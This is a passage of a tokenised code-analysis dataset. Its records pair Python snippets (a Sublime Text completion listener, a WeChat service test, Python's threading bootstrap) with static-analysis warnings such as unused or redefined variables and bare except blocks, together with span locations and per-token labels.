2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
erichard/SublimePHPCompanion/php_companion/listeners/padawan_completer.py
[ { "content": " def on_query_completions(self, view, prefix, locations):\n if not is_php_file(view):\n return None\n fname = view.file_name()\n if fname is None:\n return None\n column = 16\n line = 35\n line, column = view.rowcol(locations[0])\n contents = view.substr(sublime.Region(0, view.size()))\n completions = client.GetCompletion(\n fname,\n line+1,\n column+1,\n contents\n )[\"completion\"]\n return (\n [self.format_menu_item(c) for c in completions],\n sublime.INHIBIT_WORD_COMPLETIONS\n )", "metadata": "root.PadawanCompleter.on_query_completions", "header": "['class', 'PadawanCompleter', '(', 'sublime_plugin', '.', 'EventListener', ')', ':', '___EOS___']", "index": 53 } ]
[ { "span": "column ", "start_line": 59, "start_column": 8, "end_line": 59, "end_column": 14 }, { "span": "line ", "start_line": 60, "start_column": 8, "end_line": 60, "end_column": 12 } ]
[ { "span": "line,", "start_line": 61, "start_column": 8, "end_line": 61, "end_column": 12 }, { "span": "column ", "start_line": 61, "start_column": 14, "end_line": 61, "end_column": 20 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Pad", "awa", "n", "Completer_", "(_", "sublim", "e\\u", "plugin_", "._", "Event", "Listener_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "query", "\\u", "completions_", "(_", "self_", ",_", "view_", ",_", "prefix_", ",_", "locations_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "is", "\\u", "php", "\\u", "file_", "(_", "view_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fname_", "=_", "view_", "._", "file", "\\u", "name_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fname_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "column_", "=_", "16_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "35_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", ",_", "column_", "=_", "view_", "._", "rowco", "l_", "(_", "locations_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "contents_", "=_", "view_", "._", "substr_", "(_", "sublime_", "._", "Region_", "(_", "0_", ",_", "view_", "._", "size_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "completions_", "=_", "client_", "._", "Get", "Completi", "on_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "fname_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "line_", "+_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "column_", "+_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "contents_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "[_", "\"", "completion", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "format\\u", "menu", "\\u", "item_", "(_", "c_", ")_", "for_", "c_", "in_", "completions_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sublime_", "._", "INH", "IB", "IT", "\\u", "WORD", "\\u", "COMPLET", "IONS", "_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 0, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
OctavianLee/Pywechat/tests/test_service/test_shakearound.py
[ { "content": " def test_bind_page(self):\n page_id = CONST.NUMBER\n page_ids = [page_id]\n bind = 0\n append = 0\n device_id = CONST.NUMBER\n uuid = CONST.STRING\n major = CONST.STRING\n minor = CONST.STRING\n with mock.patch.object(ShakeService, 'bind_location') as mock_method:\n mock_method.return_value = {\n \"data\": {\n },\n \"errcode\": 0,\n \"errmsg\": \"success.\"\n }\n data = self.shake_service.bind_location(page_ids)\n self.assertIsNotNone(data)", "metadata": "root.ShakeServiceTest.test_bind_page", "header": "['class', 'ShakeServiceTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 301 } ]
[ { "span": "bind ", "start_line": 304, "start_column": 8, "end_line": 304, "end_column": 12 }, { "span": "append ", "start_line": 305, "start_column": 8, "end_line": 305, "end_column": 14 }, { "span": "device_id ", "start_line": 306, "start_column": 8, "end_line": 306, "end_column": 17 }, { "span": "uuid ", "start_line": 307, "start_column": 8, "end_line": 307, "end_column": 12 }, { "span": "major ", "start_line": 308, "start_column": 8, "end_line": 308, "end_column": 13 }, { "span": "minor ", "start_line": 309, "start_column": 8, "end_line": 309, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Sha", "ke", "Service", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bind", "\\u", "page_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "page", "\\u", "id_", "=_", "CONST", "_", "._", "NUMBER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "\\u", "ids_", "=_", "[_", "page", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bind_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "device", "\\u", "id_", "=_", "CONST", "_", "._", "NUMBER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uuid_", "=_", "CONST", "_", "._", "STRING_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "major_", "=_", "CONST", "_", "._", "STRING_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minor_", "=_", "CONST", "_", "._", "STRING_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "mock_", "._", "patch_", "._", "object_", "(_", "Sha", "ke", "Service_", ",_", "'", "bind", "\\u", "location", "'_", ")_", "as_", "mock", "\\u", "method_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "method_", "._", "return", "\\u", "value_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "data", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "errcode", "\"_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "err", "msg", "\"_", ":_", "\"", "success", ".\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "self_", "._", "shake", "\\u", "service_", "._", "bind", "\\u", "location_", "(_", "page", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 0, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
deanhiller/databus/webapp/play1.3.x/python/Lib/threading.py
[ { "content": " def __bootstrap(self):\n # Wrapper around the real bootstrap code that ignores\n # exceptions during interpreter cleanup. Those typically\n # happen when a daemon thread wakes up at an unfortunate\n # moment, finds the world around it destroyed, and raises some\n # random exception *** while trying to report the exception in\n # __bootstrap_inner() below ***. Those random exceptions\n # don't help anybody, and they confuse users, so we suppress\n # them. We suppress them only when it appears that the world\n # indeed has already been destroyed, so that exceptions in\n # __bootstrap_inner() during normal business hours are properly\n # reported. Also, we only suppress them for daemonic threads;\n # if a non-daemonic encounters this, something else is wrong.\n try:\n self.__bootstrap_inner()\n except:\n if self.__daemonic and _sys is None:\n return\n raise", "metadata": "root.Thread.__bootstrap", "header": "['class', 'Thread', '(', '_Verbose', ')', ':', '___EOS___']", "index": 482 }, { "content": " def __bootstrap_inner(self):\n try:\n self.__ident = _get_ident()\n self.__started.set()\n _active_limbo_lock.acquire()\n _active[self.__ident] = self\n del _limbo[self]\n _active_limbo_lock.release()\n if __debug__:\n self._note(\"%s.__bootstrap(): thread started\", self)\n\n if _trace_hook:\n self._note(\"%s.__bootstrap(): registering trace hook\", self)\n _sys.settrace(_trace_hook)\n if _profile_hook:\n self._note(\"%s.__bootstrap(): registering profile hook\", self)\n _sys.setprofile(_profile_hook)\n\n try:\n self.run()\n except SystemExit:\n if __debug__:\n self._note(\"%s.__bootstrap(): raised SystemExit\", self)\n except:\n if __debug__:\n self._note(\"%s.__bootstrap(): unhandled exception\", self)\n # If sys.stderr is no more (most likely from interpreter\n # shutdown) use self.__stderr. Otherwise still use sys (as in\n # _sys) in case sys.stderr was redefined since the creation of\n # self.\n if _sys:\n _sys.stderr.write(\"Exception in thread %s:\\n%s\\n\" %\n (self.name, _format_exc()))\n else:\n # Do the best job possible w/o a huge amt. of code to\n # approximate a traceback (code ideas from\n # Lib/traceback.py)\n exc_type, exc_value, exc_tb = self.__exc_info()\n try:\n print>>self.__stderr, (\n \"Exception in thread \" + self.name +\n \" (most likely raised during interpreter shutdown):\")\n print>>self.__stderr, (\n \"Traceback (most recent call last):\")\n while exc_tb:\n print>>self.__stderr, (\n ' File \"%s\", line %s, in %s' %\n (exc_tb.tb_frame.f_code.co_filename,\n exc_tb.tb_lineno,\n exc_tb.tb_frame.f_code.co_name))\n exc_tb = exc_tb.tb_next\n print>>self.__stderr, (\"%s: %s\" % (exc_type, exc_value))\n # Make sure that exc_tb gets deleted since it is a memory\n # hog; deleting everything else is just for thoroughness\n finally:\n del exc_type, exc_value, exc_tb\n else:\n if __debug__:\n self._note(\"%s.__bootstrap(): normal return\", self)\n finally:\n # Prevent a race in\n # test_threading.test_no_refcycle_through_target when\n # the exception keeps the target alive past when we\n # assert that it's dead.\n self.__exc_clear()\n finally:\n with _active_limbo_lock:\n self.__stop()\n try:\n # We don't call self.__delete() because it also\n # grabs _active_limbo_lock.\n del _active[_get_ident()]\n except:\n pass", "metadata": "root.Thread.__bootstrap_inner", "header": "['class', 'Thread', '(', '_Verbose', ')', ':', '___EOS___']", "index": 502 } ]
[ { "span": "except:", "start_line": 497, "start_column": 8, "end_line": 497, "end_column": 15 }, { "span": "except:", "start_line": 525, "start_column": 12, "end_line": 525, "end_column": 19 }, { "span": "except:", "start_line": 574, "start_column": 16, "end_line": 574, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Thread_", "(_", "\\u", "Verbos", "e_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "bootstrap_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Wrapper", " ", "aro", "und", " ", "the", " ", "real", " ", "boots", "trap", " ", "code", " ", "tha", "t", " ", "ignores", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "exception", "s", " ", "dur", "ing", " ", "interprete", "r", " ", "clean", "up", ".", " ", " ", "Tho", "se", " ", "typical", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "happ", "en", " ", "whe", "n", " ", "a", " ", "daemon", " ", "thread", " ", "wake", "s", " ", "up", " ", "at", " ", "an", " ", "unfo", "rtu", "nat", "e_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "moment", ",", " ", "find", "s", " ", "the", " ", "world", " ", "aro", "und", " ", "it", " ", "destroy", "ed", ",", " ", "and", " ", "raise", "s", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "random", " ", "exception", " ", "***", " ", "whi", "le", " ", "try", "ing", " ", "to", " ", "report", " ", "the", " ", "exception", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\\u\\u", "boots", "trap", "\\u", "inner", "()", " ", "belo", "w", " ", "***", ".", " ", " ", "Tho", "se", " ", "random", " ", "exceptions_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "don", "'", "t", " ", "help", " ", "any", "body", ",", " ", "and", " ", "the", "y", " ", "conf", "use", " ", "users", ",", " ", "so", " ", "we", " ", "suppress_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "them", ".", " ", " ", "We", " ", "suppress", " ", "them", " ", "only", " ", "whe", "n", " ", "it", " ", "appear", "s", " ", "tha", "t", " ", "the", " ", "world_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inde", "ed", " ", "has", " ", "alr", "ead", "y", " ", "bee", "n", " ", "destroy", "ed", ",", " ", "so", " ", "tha", "t", " ", "exception", "s", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\\u\\u", "boots", "trap", "\\u", "inner", "()", " ", "dur", "ing", " ", "normal", " ", "business", " ", "hour", "s", " ", "are", " ", "proper", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "reporte", "d", ".", " ", " ", "Al", "so", ",", " ", "we", " ", "only", " ", "suppress", " ", "them", " ", "for", " ", "daemon", "ic", " ", "thread", "s", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "a", " ", "non", "-", "daemon", "ic", " ", "encounter", "s", " ", "this", ",", " ", "somet", "hing", " ", "else", " ", "is", " ", "wrong", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "boots", "trap", "\\u", "inner_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u\\u", "daemon", "ic_", "and_", "\\u", "sys_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Thread_", "(_", "\\u", "Verbos", "e_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "boots", "trap", "\\u", "inner_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "ident_", "=_", "\\u", "get", "\\u", "ident_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "started_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "active", "\\u", "limb", "o", "\\u", "lock_", "._", "acquire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "active_", "[_", "self_", "._", "\\u\\u", "ident_", "]_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "\\u", "limb", "o_", "[_", "self_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "active", "\\u", "limb", "o", "\\u", "lock_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "note_", "(_", "\"%", "s", ".\\u", "\\u", "boots", "trap", "():", " ", "thread", " ", "start", "ed", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "trace", "\\u", "hook_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "note_", "(_", "\"%", "s", ".\\u", "\\u", "boots", "trap", "():", " ", "register", "ing", " ", "trace", " ", "hook", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "sys_", "._", "sett", "race_", "(_", "\\u", "trace", "\\u", "hook_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "profile", "\\u", "hook_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "note_", "(_", "\"%", "s", ".\\u", "\\u", "boots", "trap", "():", " ", "register", "ing", " ", "profile", " ", "hook", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "sys_", "._", "setp", "rofile", "_", "(_", "\\u", "profile", "\\u", "hook_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "System", "Exit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "note_", "(_", "\"%", "s", ".\\u", "\\u", "boots", "trap", "():", " ", "raise", "d", " ", "System", "Exi", "t", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "note_", "(_", "\"%", "s", ".\\u", "\\u", "boots", "trap", "():", " ", "unhandled", " ", "exception", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "sys", ".", "std", "err", " ", "is", " ", "no", " ", "more", " ", "(", "most", " ", "like", "ly", " ", "from", " ", "interpreter_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "shut", "down", ")", " ", "use", " ", "self", ".\\u", "\\u", "std", "err", ".", " ", " ", "Ot", "her", "wis", "e", " ", "still", " ", "use", " ", "sys", " ", "(", "as", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\\u", "sys", ")", " ", "in", " ", "case", " ", "sys", ".", "std", "err", " ", "was", " ", "rede", "fined", " ", "sinc", "e", " ", "the", " ", "creati", "on", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "sys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "\\u", "sys_", "._", "stderr_", "._", "write_", "(_", "\"", "Except", "ion", " ", "in", " ", "thread", " ", "%", "s", ":\\\\", "n", "%", "s", "\\\\", "n", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "self_", "._", "name_", ",_", "\\u", "format\\u", "exc_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Do", " ", "the", " ", "best", " ", "job", " ", "possib", "le", " ", "w", "/", "o", " ", "a", " ", "huge", " ", "amt", ".", " ", "of", " ", "code", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "approximate", " ", "a", " ", "traceback", " ", "(", "code", " ", "idea", "s", " ", "from_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Lib", "/", "traceback", ".", "py", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "exc", "\\u", "type_", ",_", "exc", "\\u", "value_", ",_", "exc", "\\u", "tb_", "=_", "self_", "._", "\\u\\u", "exc", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", ">>_", "self_", "._", "\\u\\u", "stderr_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Except", "ion", " ", "in", " ", "thread", " ", "\"_", "+_", "self_", "._", "name_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "(", "most", " ", "like", "ly", " ", "raise", "d", " ", "dur", "ing", " ", "interprete", "r", " ", "shut", "down", "):\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", ">>_", "self_", "._", "\\u\\u", "stderr_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "exc", "\\u", "tb_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", ">>_", "self_", "._", "\\u\\u", "stderr_", ",_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", " ", " ", "File", " ", "\"%", "s", "\",", " ", "line", " ", "%", "s", ",", " ", "in", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "exc", "\\u", "tb_", "._", "tb", "\\u", "frame_", "._", "f", "\\u", "code_", "._", "co", "\\u", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exc", "\\u", "tb_", "._", "tb", "\\u", "lineno_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exc", "\\u", "tb_", "._", "tb", "\\u", "frame_", "._", "f", "\\u", "code_", "._", "co", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exc", "\\u", "tb_", "=_", "exc", "\\u", "tb_", "._", "tb", "\\u", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", ">>_", "self_", "._", "\\u\\u", "stderr_", ",_", "(_", "\"%", "s", ":", " ", "%", "s", "\"_", "%_", "(_", "exc", "\\u", "type_", ",_", "exc", "\\u", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "tha", "t", " ", "exc", "\\u", "tb", " ", "gets", " ", "delete", "d", " ", "sinc", "e", " ", "it", " ", "is", " ", "a", " ", "memory_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hog", ";", " ", "delet", "ing", " ", "every", "thing", " ", "else", " ", "is", " ", "just", " ", "for", " ", "thor", "ou", "gh", "ness_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "del_", "exc", "\\u", "type_", ",_", "exc", "\\u", "value_", ",_", "exc", "\\u", "tb_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "note_", "(_", "\"%", "s", ".\\u", "\\u", "boots", "trap", "():", " ", "normal", " ", "return", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Prev", "ent", " ", "a", " ", "race", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test\\u", "thread", "ing", ".", "test\\u", "no", "\\u", "ref", "cycle", "\\u", "through", "\\u", "target", " ", "when_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "exception", " ", "keep", "s", " ", "the", " ", "target", " ", "alive", " ", "past", " ", "whe", "n", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assert", " ", "tha", "t", " ", "it", "'", "s", " ", "dead", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "exc", "\\u", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "\\u", "active", "\\u", "limb", "o", "\\u", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "don", "'", "t", " ", "call", " ", "self", ".\\u", "\\u", "delete", "()", " ", 